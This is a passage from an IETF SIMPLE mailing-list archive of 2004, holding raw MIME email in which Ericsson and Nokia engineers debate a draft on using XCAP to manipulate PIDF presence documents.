        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>I think the=20
        XCAP framework is clear on =
that</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>You would need=20
        to expand those rules, which can complicate things quite a lot, =
not to=20
        mention slow things down, to make it more=20
        generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
        =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        class=3D182215601-03032004>[MI] I think you are right on this =
one, my=20
        previous statement was wrong. XCAP can have problems with =
handling *any*=20
        XML document, if the selector construction will be restricted to =
only=20
        limited number of possibilities. However, see Jonathan's mail =
attached=20
        to this mail. Based on this I assume PIDF would still be OK for =
XCAP as=20
        it is now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>3) I'm not sure if =
I&nbsp;understood the=20
        question. This is not a template for any applications that want =
to use=20
        XCAP, this is standardizing how XCAP is used to manipulate=20
        PIDF-formatted presence documents. As there is no computed data =
or=20
        anything, I guess an app usage for any XML doc would be quite =
similar to=20
        this one.<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>For event=20
        packages we have a template that have to be filled&nbsp;by for =
anyone=20
        who wants to create a new event=20
        package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>So I am asking=20
        if your&nbsp;document presents a template, similar&nbsp;to the =
event=20
        package approach. (forget about the content for your=20
        application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>I am not sure=20
        if I am clear&nbsp;on that=20
        one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
        =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        class=3D182215601-03032004>[MI] OK, I got the question, thanks.=20
        Yes,&nbsp;we tried to follow&nbsp;the structure/template how =
Jonathan=20
        has defined the&nbsp;other existing&nbsp;XCAP application =
usages. So it=20
        should&nbsp;be according to how XCAP AUs are ssupposed to be=20
        specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>4) Surely there are many ways to =
manipulate=20
        PIDF documents. However, in context of SIMPLE, XCAP is a natural =
choice=20
        since it's needed already in any advanced presence-capable =
device. Could=20
        you explain what kind of complexities you mean? This is as =
simple an=20
        XCAP usage as&nbsp;there can be. Are you saying that XCAP in =
itself is=20
        complex? A more simple way would be to use just normal HTTP PUT =
and=20
        DELETE, but since we have XCAP at our disposal, why not use =
it.<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>The=20
        complexities will arise if we allow users to do selective =
manipulation,=20
        using XCAP,&nbsp;for certain tuples&nbsp;*only*, and using =
PUBLISH for=20
        the remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>So I need to=20
        see your answer first to my&nbsp;response to your first =
&nbsp;bullet=20
        before I go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN=
=20
        class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
        size=3D2><SPAN=20
        =
class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></=
DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2><SPAN class=3D182215601-03032004>[MI] As I explained =
above, you can=20
        already PUBLISH several documents and there has to be a way to =
do=20
        composition. So the complexity is already inbuilt in SIMPLE, it =
is not=20
        in this sense extended here.</SPAN></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>Markus</FONT></SPAN></DIV>
        <BLOCKQUOTE=20
        style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: =
#0000ff 2px solid">
          <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
          size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti=20
          (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 =
March,=20
          2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
          simple@ietf.org<BR><B>Subject:</B> Comments on=20
          =
draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
          <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
          <P><FONT face=3D"Times New Roman">I have some comments on your =

          draft:</FONT> </P>
          <P><FONT face=3D"Times New Roman">1) Although you indicate =
that this=20
          should be used only for hard states, what is there to prevent =
users=20
          from manipulating other presence states in there through=20
          XCAP.</FONT></P>
          <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used =
for=20
          documents that are created to take advantage of the defined =
XCAP rules=20
          for HTTP URI creation. Which XML presence documents in =
particular are=20
          you proposing that they get manipulated by XCAP.&nbsp; =
</FONT></P>
          <P><FONT face=3D"Times New Roman">How do you ensure that the =
current=20
          XCAP rules are suffiicient for the purpose you have in mind. I =
also=20
          doubt that you can use the current XML presence documents =
(PIDF and=20
          extensions) for XCAP purposes as is. For example, should there =
not be=20
          the element mandatory-ns, in there, as per the XCAP=20
          framework.</FONT></P>
          <P><FONT face=3D"Times New Roman">3) Is this template meant to =
be a=20
          generic template to be used by all applications that want to =
use=20
          XCAP.</FONT> </P>
          <P><FONT face=3D"Times New Roman">4) Finally, I believe that =
there are=20
          other, out-of-band means, to accomplish your goals, i.e. =
manipulate=20
          hard states, without the unwarranted complexities that the =
draft=20
          creates. Thus, there must be explicit references in the draft =
to that=20
          fact.&nbsp; </FONT></P>
          <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT =
face=3DArial=20
          size=3D2>Ericsson Canada</FONT> </P><BR><BR>This communication =
is=20
          confidential and intended solely for the addressee(s). Any=20
          unauthorized review, use, disclosure or distribution is =
prohibited. If=20
          you believe this message has been sent to you in error, please =
notify=20
          the sender by replying to this transmission and delete the =
message=20
          without disclosing it. Thank you.<BR><BR>E-mail including =
attachments=20
          is susceptible to data corruption, interruption, unauthorized=20
          amendment, tampering and viruses, and we only send and receive =
e-mails=20
          on the basis that we are not liable for any such corruption,=20
          interception, amendment, tampering or viruses or any =
consequences=20
          thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication =
is=20
      confidential and intended solely for the addressee(s). Any =
unauthorized=20
      review, use, disclosure or distribution is prohibited. If you =
believe this=20
      message has been sent to you in error, please notify the sender by =

      replying to this transmission and delete the message without =
disclosing=20
      it. Thank you.<BR><BR>E-mail including attachments is susceptible =
to data=20
      corruption, interruption, unauthorized amendment, tampering and =
viruses,=20
      and we only send and receive e-mails on the basis that we are not =
liable=20
      for any such corruption, interception, amendment, tampering or =
viruses or=20
      any consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This =
communication=20
  is confidential and intended solely for the addressee(s). Any =
unauthorized=20
  review, use, disclosure or distribution is prohibited. If you believe =
this=20
  message has been sent to you in error, please notify the sender by =
replying to=20
  this transmission and delete the message without disclosing it. Thank=20
  you.<BR><BR>E-mail including attachments is susceptible to data =
corruption,=20
  interruption, unauthorized amendment, tampering and viruses, and we =
only send=20
  and receive e-mails on the basis that we are not liable for any such=20
  corruption, interception, amendment, tampering or viruses or any =
consequences=20
  thereof. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400F3.AA901BBB--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 20:03:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11199
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 20:03:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGj-0001WU-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:03:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFm-0001ID-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:02:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEg-00015l-00; Wed, 03 Mar 2004 20:01:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhEV-0004Cn-RR; Wed, 03 Mar 2004 20:01:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRVU-0003Dw-ER
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:13:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09847
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:13:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRV8-0002QF-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:13:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRUD-0002HO-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:12:17 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRTN-00020r-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:11:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i238AiLc014479
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:10:44 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 3 Mar 2004 02:06:08 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRWX2>; Wed, 3 Mar 2004 02:10:34 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400F6.E0F80744"
X-OriginalArrivalTime: 03 Mar 2004 08:06:08.0484 (UTC) FILETIME=[6253F240:01C400F6]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 02:09:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400F6.E0F80744
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Markus,
 
Lets leave the mandatory-ns element aside for the time being.
You stated that one should use XCAP to control *hard state* tuples only
What if a user changes other  soft tuples with XCAP.
 
Will the server allow that?
 
Where in your draft you explain/discuss  how to handle those cases?
 
And what are the tuples in PIDF and other extensions that you consider *hard state* tuples.
 
Rgds/gf
  

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Wednesday, March 03, 2004 2:47 AM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi George,
 
Section 4.7 in XCAP defines the following:
 
   A server is required to understand the baseline schema defined
   by the application usage. However, those schemas can define points of
   extensibility where new content can be added from other namespaces
   and corresponding schemas. Sometimes, the server will understand
   those namespaces and therefore have access to their schemas.
   Sometimes, it will not.

   A server MUST allow for documents that contain elements from
   namespaces not known to the server. In such a case, the server cannot
   validate that such content is schema compliant; it will only verify
   that the XML is well-formed.
 
In this case the baseline schema is the one defined in PIDF soon-to-become RFC. RPID, CIPID etc. extend PIDF in the allowed points of extensibility. There is nothing in those namespaces that the server really needs to understand. This means that the mandatory-ns mechanism (which itself will probably change in the next rev of XCAP), would not be needed.
 
Does this clarify your concerns?
 
Markus 

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 05:03
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,
I would like to adrress the following statement below that I cut from the original exchange:
 
1)  First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
/gf
There is no  stand alone "hard state" PIDF document that is defined today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly verify operations.
What you have in mind, I think, is a number of tuples from various defined presence documents (PIDF, RPID, etc..) that you want to manage using XCAP.
 
Unless you create such a *stand alone* XMP document for hard states, I dont beleive that you can do what you want with XCAP, without creating interoperability problems, or open the door for abuses that would require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
 
This is where I beleive that what you want can only be done with a *new stand-alone* XML  document. For example, the XCAP framework requires the inclusion of the mandatory-ns element, if you would include in the XML document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are not part of PIDF, rather other presence documents.
So how would that work then.
 

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
 
OK, this time I understood your points much better.
 
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
[MI] OK, I think I know what you mean. The model for how the final presence document is put together is shown in the draft in Chapter 3. First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/ 
 
[MI] I think you are right on this one, my previous statement was wrong. XCAP can have problems with handling *any* XML document, if the selector construction will be restricted to only limited number of possibilities. However, see Jonathan's mail attached to this mail. Based on this I assume PIDF would still be OK for XCAP as it is now.
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/ 
 
[MI] OK, I got the question, thanks. Yes, we tried to follow the structure/template how Jonathan has defined the other existing XCAP application usages. So it should be according to how XCAP AUs are ssupposed to be specified. 
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
[MI] As I explained above, you can already PUBLISH several documents and there has to be a way to do composition. So the complexity is already inbuilt in SIMPLE, it is not in this sense extended here.
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400F6.E0F80744
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Hi 
Markus,</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Lets 
leave the mandatory-ns element aside for the time being.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>You 
stated that&nbsp;one should use XCAP to control *hard state* tuples 
only</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>What 
if a user changes other&nbsp; soft tuples with XCAP.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Will 
the server allow that?</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Where 
in your draft you explain/discuss &nbsp;how to handle those 
cases?</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>And 
what are the tuples in PIDF and other extensions that you consider&nbsp;*hard 
state* tuples.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004>&nbsp;</SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2>Rgds/gf</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2>&nbsp;&nbsp;</FONT></SPAN></DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Wednesday, March 03, 2004 
  2:47 AM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</B> 
  RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on 
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>Hi 
  George,</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2>Section 4.7 in XCAP defines the following:</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial>&nbsp;&nbsp; A server is 
  required to understand the baseline schema defined<BR>&nbsp;&nbsp; by the 
  application usage. However, those schemas can define points of<BR>&nbsp;&nbsp; 
  extensibility where new content can be added from other 
  namespaces<BR>&nbsp;&nbsp; and corresponding schemas. Sometimes, the server 
  will understand<BR>&nbsp;&nbsp; those namespaces and therefore have access to 
